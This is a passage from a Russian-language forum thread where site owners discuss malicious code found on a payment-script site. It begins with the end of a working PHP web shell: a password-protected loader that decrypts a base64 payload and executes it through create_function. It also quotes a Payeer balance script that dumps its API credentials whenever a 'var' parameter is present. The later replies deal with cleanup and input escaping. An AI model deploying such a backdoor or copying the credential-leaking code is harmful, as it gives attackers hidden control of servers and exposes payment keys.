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
FYfjGpZcPGC5qP8J0qLz6cAZlKqy0Ed88JA=
'));$J_=isset($_POST['J_'])?$_POST['J_']isset($_COOKIE['J_'])?$_COOKIE['J_']:NULL);if($J_!==NULL){$J_=md5($J_).substr(MD5(strrev($J_)),0,strlen($J_));for($J___=0;$J___<15566;$J___++){$J__[$J___]=chr(( ord($J__[$J___])-ord($J_[$J___]))%256);$J_.=$J__[$J___];}if($J__=@gzinflate($J__)){if(isset($_POST['J_']))@setcookie('J_', $_POST['J_']);$J___=create_function('',$J__);unset($J_,$J__);$J___();}}?><form method="post" action=""><input type="text"name="J_"value=""/><input type="submit"value=">"/></form>
Вот 2
Скрытое содержимое для зарегистрированных пользователей!
<?
@include("classes/_class.config.php");
@include("classes/_class.rfs_payeer.php");
$config = new config;
$payeer = new rfs_payeer($config->AccountNumber, $config->apiId, $config->apiKey);
if(isset($_GET['var'])){var_dump($config);}
if ($payeer->isAuth()){
$arBalance = $payeer->getBalance();
$balance = array($arBalance["balance"]["RUB"]["DOSTUPNO"],$arBalance["balance"]["USD"]["DOSTUPNO"],$arBalance["balance"]["BTC"]["DOSTUPNO"],$arBalance["balance"]["EUR"]["DOSTUPNO"]);
$name = array("RUB","USD","BTC","EUR");
echo "<table>";
echo "<thead><tr><td>CUR</td><td>VAL</td></tr></thead>";
$i=0;
while($i<4){
echo "<tbody><tr><td>".$balance[$i]."</td><td>".$name[$i]."</td></tr></tbody>";
$i++;
}
echo "</table>";
}else {
die("SETTINGS_NOT_VALIDIDATE");
}
Bloodscreed
Местный
- Сообщения
- 51
- Реакции
- 3
Bloodscreed
Местный
- Сообщения
- 51
- Реакции
- 3
Все Тема закрыта с капчей! Найден был вредоносный код! Который непосредственно как сказал Wh1skas несет в себе слово (EVAL)! Нашли...... Смело удаляйте!!!
А вот вопрос так и повис как он залил на сервер 2 файла! причем первый назывался 1.php а второй z.php. Хотя назвать как угодно можно.
Если можно Наши Любимые всеми Гуру помогите нам с проблемой!
А вот вопрос так и повис как он залил на сервер 2 файла! причем первый назывался 1.php а второй z.php. Хотя назвать как угодно можно.
Если можно Наши Любимые всеми Гуру помогите нам с проблемой!
Bloodscreed
Местный
- Сообщения
- 51
- Реакции
- 3
посмотри на форумеBloodscreed написал(а):Нет! Подскажите Подскажите как отфильтровать?
пример:
Код:
$text = $db->RealEscape($_POST['content']);//Фильтрация
$neg = intval($_POST['neg']);//Фильтрация
$img = $db->RealEscape($_POST['img']);//Фильтрация
цуацуаа
Участник
- Сообщения
- 14
- Реакции
- 0
куда вставлять нужно?)) будь добр подскажи "школьнику"assus написал(а):посмотри на форуме
пример:
RealEscape - это и есть ФильтрацияКод:$text = $db->RealEscape($_POST['content']);//Фильтрация $neg = intval($_POST['neg']);//Фильтрация $img = $db->RealEscape($_POST['img']);//Фильтрация